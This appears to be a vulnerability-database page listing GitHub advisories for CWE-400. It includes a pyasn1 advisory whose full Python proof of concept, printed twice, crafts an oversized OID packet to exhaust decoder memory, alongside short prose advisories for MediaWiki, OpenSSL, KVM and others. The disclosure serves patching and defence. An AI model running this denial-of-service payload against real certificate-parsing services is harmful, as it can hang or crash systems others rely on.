Common Weakness Enumeration
CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5589 vulnerabilities reference this CWE, most recent first.
GHSA-63VM-454H-VHHQ
Vulnerability from github – Published: 2026-01-16 19:19 – Updated: 2026-07-21 15:23
VLAI
Summary
pyasn1 has a DoS vulnerability in decoder
Details
Summary
After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.
Details
The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496
PoC
For the DoS:
import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource
# Deliberately set memory limit to display PoC
try:
resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
print("[*] Memory limit set to 100MB")
except:
print("[-] Could not set memory limit")
# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])
print(f"[*] Testing with {payload_size_mb}MB payload...")
payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)
# DER length encoding (supports up to 4GB)
if length < 128:
length_bytes = bytes([length])
elif length < 256:
length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
# 4 bytes can handle up to 4GB
length_bytes = b'\x84' + length.to_bytes(4, 'big')
# Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload
print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
try:
print("[*] Decoding (this may take time or exhaust memory)...")
result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
print(f'[+] Decoded successfully')
print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
# Try to convert to string
print('[*] Converting to string...')
try:
str_result = str(result[0])
print(f'[+] String succeeded: {len(str_result)} chars')
if len(str_result) > 10000:
print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
except MemoryError:
print(f'[-] MemoryError during string conversion!')
except Exception as e:
print(f'[-] {type(e).__name__} during string conversion')
except MemoryError:
print('[-] MemoryError: Out of memory!')
except Exception as e:
print(f'[-] Error: {type(e).__name__}: {e}')
print("\n[*] Test completed")
Screenshots with the results:
DoS
Leak analysis
A potential heap leak was investigated but came back clean:
[*] Creating 1000KB payload...
[*] Decoding with pyasn1...
[*] Materializing to string...
[+] Decoded 2157784 characters
[+] Binary representation: 896001 bytes
[+] Dumped to heap_dump.bin
[*] First 64 bytes (hex):
01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
[*] First 64 bytes (ASCII/hex dump):
0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @..
0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @....
0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @.....
0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.
[*] Digit distribution analysis:
'0': 10.1%
'1': 9.9%
'2': 10.0%
'3': 9.9%
'4': 9.9%
'5': 10.0%
'6': 10.0%
'7': 10.0%
'8': 9.9%
'9': 10.1%
Scenario
- An attacker creates a malicious X.509 certificate.
- The application validates certificates.
- The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.
Impact
This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.
Recommendation
Add a limit to the allowed bytes in the decoder.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyasn1"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.1"
},
{
"fixed": "0.6.2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.6.1"
]
}
],
"aliases": [
"CVE-2026-23490"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-16T19:19:25Z",
"nvd_published_at": "2026-01-16T19:16:19Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n print(\"[*] Memory limit set to 100MB\")\nexcept:\n print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n length_bytes = bytes([length])\nelif length \u003c 256:\n length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n # 4 bytes can handle up to 4GB\n length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n print(\"[*] Decoding (this may take time or exhaust memory)...\")\n result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n print(f\u0027[+] Decoded successfully\u0027)\n print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n # Try to convert to string\n print(\u0027[*] Converting to string...\u0027)\n try:\n str_result = str(result[0])\n print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n if len(str_result) \u003e 10000:\n print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n except MemoryError:\n print(f\u0027[-] MemoryError during string conversion!\u0027)\n except Exception as e:\n print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @..\n 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @....\n 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... \n 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.\n\n[*] Digit distribution analysis:\n \u00270\u0027: 10.1%\n \u00271\u0027: 9.9%\n \u00272\u0027: 10.0%\n \u00273\u0027: 9.9%\n \u00274\u0027: 9.9%\n \u00275\u0027: 10.0%\n \u00276\u0027: 10.0%\n \u00277\u0027: 10.0%\n \u00278\u0027: 9.9%\n \u00279\u0027: 10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
"id": "GHSA-63vm-454h-vhhq",
"modified": "2026-07-21T15:23:12Z",
"published": "2026-01-16T19:19:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4148"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4147"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4146"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4145"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4144"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4143"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4142"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4141"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4140"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4139"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4138"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:39894"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3959"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3958"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:37275"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41928"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:42644"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4943"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:5606"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-23490"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyasn1/pyasn1"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
},
{
"type": "WEB",
"url": "https://pypi.org/project/pyasn1"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3359"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2300"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2299"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2221"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:19712"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:1906"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:1905"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:1904"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:1903"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:17611"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:17595"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:17446"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:14020"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:13553"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:13545"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:13512"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:13508"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3354"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:30088"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:28042"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2758"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2712"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:24977"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:24866"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2486"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2483"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2460"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2453"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:24483"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:24476"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2309"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2303"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:2302"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "pyasn1 has a DoS vulnerability in decoder"
}
GHSA-6438-3865-MCG8
Vulnerability from github – Published: 2022-01-11 00:01 – Updated: 2022-01-14 00:02
VLAI
Details
An issue was discovered in MediaWiki before 1.35.5, 1.36.x before 1.36.3, and 1.37.x before 1.37.1. A denial of service (resource consumption) can be accomplished by searching for a very long key in a Language Name Search.
{
"affected": [],
"aliases": [
"CVE-2021-46149"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-10T14:11:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in MediaWiki before 1.35.5, 1.36.x before 1.36.3, and 1.37.x before 1.37.1. A denial of service (resource consumption) can be accomplished by searching for a very long key in a Language Name Search.",
"id": "GHSA-6438-3865-mcg8",
"modified": "2022-01-14T00:02:35Z",
"published": "2022-01-11T00:01:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46149"
},
{
"type": "WEB",
"url": "https://gerrit.wikimedia.org/r/q/Ide32704cca578b9aecbce34bdcc0ac25c2a09a4d"
},
{
"type": "WEB",
"url": "https://phabricator.wikimedia.org/T293749"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6439-MGQ7-859H
Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19
VLAI
Details
Multiple uncontrolled resource consumption vulnerabilities in the web interface of FortiPortal before 6.0.6 may allow a single low-privileged user to induce a denial of service via multiple HTTP requests.
{
"affected": [],
"aliases": [
"CVE-2021-32595"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-02T18:15:00Z",
"severity": "MODERATE"
},
"details": "Multiple uncontrolled resource consumption vulnerabilities in the web interface of FortiPortal before 6.0.6 may allow a single low-privileged user to induce a denial of service via multiple HTTP requests.",
"id": "GHSA-6439-mgq7-859h",
"modified": "2022-05-24T19:19:25Z",
"published": "2022-05-24T19:19:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32595"
},
{
"type": "WEB",
"url": "https://fortiguard.com/advisory/FG-IR-21-096"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-647R-22PP-RPP3
Vulnerability from github – Published: 2022-05-13 01:23 – Updated: 2022-05-13 01:23
VLAI
Details
arch/x86/kvm/vmx.c in the KVM subsystem in the Linux kernel before 3.17.2 on Intel processors does not ensure that the value in the CR4 control register remains the same after a VM entry, which allows host OS users to kill arbitrary processes or cause a denial of service (system disruption) by leveraging /dev/kvm access, as demonstrated by PR_SET_TSC prctl calls within a modified copy of QEMU.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2014-3690"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-11-10T11:55:00Z",
"severity": "MODERATE"
},
"details": "arch/x86/kvm/vmx.c in the KVM subsystem in the Linux kernel before 3.17.2 on Intel processors does not ensure that the value in the CR4 control register remains the same after a VM entry, which allows host OS users to kill arbitrary processes or cause a denial of service (system disruption) by leveraging /dev/kvm access, as demonstrated by PR_SET_TSC prctl calls within a modified copy of QEMU.",
"id": "GHSA-647r-22pp-rpp3",
"modified": "2022-05-13T01:23:39Z",
"published": "2022-05-13T01:23:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3690"
},
{
"type": "WEB",
"url": "https://github.com/torvalds/linux/commit/d974baa398f34393db76be45f7d4d04fbdbb4a0a"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1153322"
},
{
"type": "WEB",
"url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=d974baa398f34393db76be45f7d4d04fbdbb4a0a"
},
{
"type": "WEB",
"url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=d974baa398f34393db76be45f7d4d04fbdbb4a0a"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-01/msg00035.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-03/msg00010.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-03/msg00025.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-04/msg00015.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2015-0290.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2015-0782.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2015-0864.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/60174"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2014/dsa-3060"
},
{
"type": "WEB",
"url": "http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.17.2"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2015:058"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2014/10/21/4"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2014/10/29/7"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/70691"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2417-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2418-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2419-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2420-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2421-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-647R-72HF-4VMH
Vulnerability from github – Published: 2026-06-03 00:30 – Updated: 2026-07-10 17:16
VLAI
Summary
Code Index MCP is vulnerable to Uncontrolled Resource Consumption
Details
A weakness has been identified in johnhuang316 code-index-mcp up to 2.14.0. Affected is the function is_safe_regex_pattern of the component search_code_advanced. Executing a manipulation of the argument regex can lead to inefficient regular expression complexity. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 2.14.1 is able to address this issue. This patch is called 25bc02fac74051ddae15ce79e952f00211b1ea6b. Upgrading the affected component is recommended.
Severity
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "code-index-mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-10692"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T17:16:29Z",
"nvd_published_at": "2026-06-03T00:16:31Z",
"severity": "LOW"
},
"details": "A weakness has been identified in johnhuang316 code-index-mcp up to 2.14.0. Affected is the function is_safe_regex_pattern of the component search_code_advanced. Executing a manipulation of the argument regex can lead to inefficient regular expression complexity. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 2.14.1 is able to address this issue. This patch is called 25bc02fac74051ddae15ce79e952f00211b1ea6b. Upgrading the affected component is recommended.",
"id": "GHSA-647r-72hf-4vmh",
"modified": "2026-07-10T17:16:29Z",
"published": "2026-06-03T00:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10692"
},
{
"type": "WEB",
"url": "https://github.com/johnhuang316/code-index-mcp/issues/84"
},
{
"type": "WEB",
"url": "https://github.com/johnhuang316/code-index-mcp/commit/25bc02fac74051ddae15ce79e952f00211b1ea6b"
},
{
"type": "PACKAGE",
"url": "https://github.com/johnhuang316/code-index-mcp"
},
{
"type": "WEB",
"url": "https://github.com/johnhuang316/code-index-mcp/releases/tag/v2.14.1"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-10692"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/830786"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/367961"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/367961/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Code Index MCP is vulnerable to Uncontrolled Resource Consumption"
}
GHSA-6486-QV2G-XG8H
Vulnerability from github – Published: 2022-05-14 03:30 – Updated: 2025-04-12 13:04
VLAI
Details
The state-machine implementation in OpenSSL 1.1.0 before 1.1.0a allocates memory before checking for an excessive length, which might allow remote attackers to cause a denial of service (memory consumption) via crafted TLS messages, related to statem/statem.c and statem/statem_lib.c.
Severity
5.9 (Medium)
{
"affected": [],
"aliases": [
"CVE-2016-6307"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-09-26T19:59:00Z",
"severity": "MODERATE"
},
"details": "The state-machine implementation in OpenSSL 1.1.0 before 1.1.0a allocates memory before checking for an excessive length, which might allow remote attackers to cause a denial of service (memory consumption) via crafted TLS messages, related to statem/statem.c and statem/statem_lib.c.",
"id": "GHSA-6486-qv2g-xg8h",
"modified": "2025-04-12T13:04:47Z",
"published": "2022-05-14T03:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6307"
},
{
"type": "WEB",
"url": "https://bto.bluecoat.com/security-advisory/sa132"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-412672.pdf"
},
{
"type": "WEB",
"url": "https://git.openssl.org/?p=openssl.git%3Ba=commit%3Bh=4b390b6c3f8df925dc92a3dd6b022baa9a2f4650"
},
{
"type": "WEB",
"url": "https://git.openssl.org/?p=openssl.git;a=commit;h=4b390b6c3f8df925dc92a3dd6b022baa9a2f4650"
},
{
"type": "WEB",
"url": "https://www.openssl.org/news/secadv/20160922.txt"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/tns-2016-16"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/tns-2016-20"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/tns-2016-21"
},
{
"type": "WEB",
"url": "http://kb.juniper.net/InfoCenter/index?page=content\u0026id=JSA10759"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21995039"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/93152"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1036885"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-649W-QRG5-6785
Vulnerability from github – Published: 2025-10-14 18:30 – Updated: 2025-10-14 18:30
VLAI
Details
A vulnerability in an AOS firmware binary allows an authenticated malicious actor to permanently delete necessary boot information. Successful exploitation may render the system unbootable, resulting in a Denial of Service that can only be resolved by replacing the affected hardware.
Severity
6.0 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-37139"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-14T17:15:40Z",
"severity": "MODERATE"
},
"details": "A vulnerability in an AOS firmware binary allows an authenticated malicious actor to permanently delete necessary boot information. Successful exploitation may render the system unbootable, resulting in a Denial of Service that can only be resolved by replacing the affected hardware.",
"id": "GHSA-649w-qrg5-6785",
"modified": "2025-10-14T18:30:28Z",
"published": "2025-10-14T18:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37139"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04957en_us\u0026docLocale=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-64G8-MC22-C972
Vulnerability from github – Published: 2022-07-21 00:00 – Updated: 2022-07-28 00:00
VLAI
Details
An issue was discovered in H96 Smart TV Box H96 Pro Plus allows attackers to corrupt files via calls to the saveDeepColorAttr service.unk
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2020-21405"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-20T19:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in H96 Smart TV Box H96 Pro Plus allows attackers to corrupt files via calls to the saveDeepColorAttr service.unk",
"id": "GHSA-64g8-mc22-c972",
"modified": "2022-07-28T00:00:46Z",
"published": "2022-07-21T00:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-21405"
},
{
"type": "WEB",
"url": "https://github.com/helloworldxp/TVBoxBugs/blob/master/H96_Pro_Plus_SmartTV_Vulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-64HM-XQJ2-52Q2
Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31
VLAI
Details
